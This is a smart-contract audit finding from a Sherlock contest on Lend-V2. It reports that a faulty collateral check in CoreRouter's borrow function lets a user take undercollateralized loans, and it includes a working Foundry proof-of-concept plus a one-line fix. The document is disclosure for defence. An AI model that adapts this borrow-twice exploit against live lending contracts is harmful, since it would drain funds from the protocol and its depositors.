Keen Nylon Rhino

High

# User is able to borrow more than his collateral amount

### Summary

Wrong check of https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L161 allows user to borrow more USD than his collateral in USD.

### Root Cause

In [function borrow](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L152) there is an external call to [getHypotheticalAccountLiquidityCollateral](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/LendStorage.sol#L385) returning the current `borrowed amount` and `collateral`, including already intended `borrowAmount`(passed to the method as argument).

### Internal Pre-conditions

1. In the protocol there are more than 1 supplied assets
2. User supplies 1 of the underlying tokens.
3. Borrows maximum amount of the supplied underlying token
4. Borrows the other supplied asset ( it must not be able to do it, because he already borrowed the maximum amount in the other supplied asset)

### External Pre-conditions

none

### Attack Path

1. User borrows in first supplied asset
2. User borrows another supplied asset

### Impact

Core invariant of the protocol is broken: Protocol must issue only over-collateralized loans

### PoC

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import {Test} from "forge-std/Test.sol";
import {Deploy} from "../script/Deploy.s.sol";
import {HelperConfig} from "../script/HelperConfig.s.sol";
import {CrossChainRouterMock} from "./mocks/CrossChainRouterMock.sol";
import {CoreRouter} from "../src/LayerZero/CoreRouter.sol";
import {LendStorage} from "../src/LayerZero/LendStorage.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import {Lendtroller} from "../src/Lendtroller.sol";
import {InterestRateModel} from "../src/InterestRateModel.sol";
import {SimplePriceOracle} from "../src/SimplePriceOracle.sol";
import {LTokenInterface} from "../src/LTokenInterfaces.sol";
import {LToken} from "../src/LToken.sol";
import "@layerzerolabs/lz-evm-oapp-v2/test/TestHelper.sol";
import {console} from "forge-std/console.sol";
import {ExponentialNoError} from "../src/ExponentialNoError.sol";


contract TestPOC1 is Test, ExponentialNoError {
    HelperConfig public helperConfig;
    address public layerZeroEndpoint;
    address[] public supportedTokens;
    bool public isTestnet;
    address public deployer;

    CrossChainRouterMock public router;
    LendStorage public lendStorage;
    CoreRouter public coreRouter;
    Lendtroller public lendtroller;
    InterestRateModel public interestRateModel;
    SimplePriceOracle public priceOracle;

    TestHelper public testHelper;

    address[] public lTokens;

    // Events to test
    event RedeemSuccess(address indexed redeemer, address indexed lToken, uint256 redeemAmount, uint256 redeemTokens);

    function setUp() public {
        deployer = makeAddr("deployer");

        // Deploy the entire protocol
        Deploy deploy = new Deploy();
        (
            address priceOracleAddress,
            address lendtrollerAddress,
            address interestRateModelAddress,
            address[] memory lTokenAddresses,
            address payable routerAddress,
            address payable coreRouterAddress,
            address lendStorageAddress,
            address _layerZeroEndpoint,
            address[] memory _supportedTokens
        ) = deploy.run();

        // Store the values in contract state variables
        router = CrossChainRouterMock(routerAddress);
        lendStorage = LendStorage(lendStorageAddress);
        coreRouter = CoreRouter(coreRouterAddress);
        lendtroller = Lendtroller(lendtrollerAddress);
        interestRateModel = InterestRateModel(interestRateModelAddress);
        priceOracle = SimplePriceOracle(priceOracleAddress);
        lTokens = lTokenAddresses;
        layerZeroEndpoint = _layerZeroEndpoint;
        supportedTokens = _supportedTokens;

        testHelper = TestHelper(payable(layerZeroEndpoint));

        // Set up initial prices for supported tokens
        for (uint256 i = 0; i < supportedTokens.length; i++) {
            priceOracle.setDirectPrice(supportedTokens[i], 1e18);
        }
    }

    /// User supplied tokens to market A
    /// Another user supplied tokens to market B
    /// First user borrows the max amount from both markets. He must not be able to do it, but the protocol allows him to do it.
    function test_UserCanBorrowMoreThanHisMaxBorrowableAmount() public {
        address firstMarket = supportedTokens[0];
        address secondMarket = supportedTokens[1];
        address user = makeAddr("USER");
        address supplier = makeAddr("SUPPLIER");

        address lFirst = coreRouter.lendStorage().underlyingTolToken(firstMarket);
        address lSecond = coreRouter.lendStorage().underlyingTolToken(secondMarket);

        ERC20Mock(firstMarket).mint(user, 100e18);
        ERC20Mock(secondMarket).mint(supplier, 100e18);

        Exp memory firstMarketPrice = Exp (priceOracle.getUnderlyingPrice(LToken(lFirst)));
        Exp memory secondMarketPrice = Exp (priceOracle.getUnderlyingPrice(LToken(lSecond)));

        uint256 userBalanceInUsd = 0;
        userBalanceInUsd =  mul_ScalarTruncateAddUInt(firstMarketPrice, ERC20Mock(firstMarket).balanceOf(user), userBalanceInUsd);
        userBalanceInUsd = mul_ScalarTruncateAddUInt(firstMarketPrice, ERC20Mock(secondMarket).balanceOf(user), userBalanceInUsd);

        console.log("User balance before withdrawing in USD", userBalanceInUsd);

        vm.startPrank(supplier);
        IERC20(secondMarket).approve(address(coreRouter), type(uint256).max);
        coreRouter.supply(100e18, secondMarket);
        vm.stopPrank();

        vm.startPrank(user);
        IERC20(firstMarket).approve(address(coreRouter), type(uint256).max);

        coreRouter.supply(100e18, firstMarket);

        uint256 maxBorrowAmount = coreRouter.lendStorage().getMaxBorrowAmount(user, lFirst);

        coreRouter.borrow(maxBorrowAmount, firstMarket);
        // User is able to borrow again from a different market the same amount
        // this should revert but it doesnt
        coreRouter.borrow(maxBorrowAmount, secondMarket);

        uint256 userBalanceInUsdAfterBorrowing = 0;
        userBalanceInUsdAfterBorrowing =  mul_ScalarTruncateAddUInt(firstMarketPrice, ERC20Mock(firstMarket).balanceOf(user), userBalanceInUsdAfterBorrowing);
        userBalanceInUsdAfterBorrowing = mul_ScalarTruncateAddUInt(firstMarketPrice, ERC20Mock(secondMarket).balanceOf(user), userBalanceInUsdAfterBorrowing);
        console.log("User balance after getting overcollaterized loans in USD", userBalanceInUsdAfterBorrowing);
        assertGt(userBalanceInUsd, userBalanceInUsdAfterBorrowing);
    }
}
```

### Mitigation

https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L161

Replace with:
```solidity
require(collateral >= borrowed, "Insufficient collateral");
```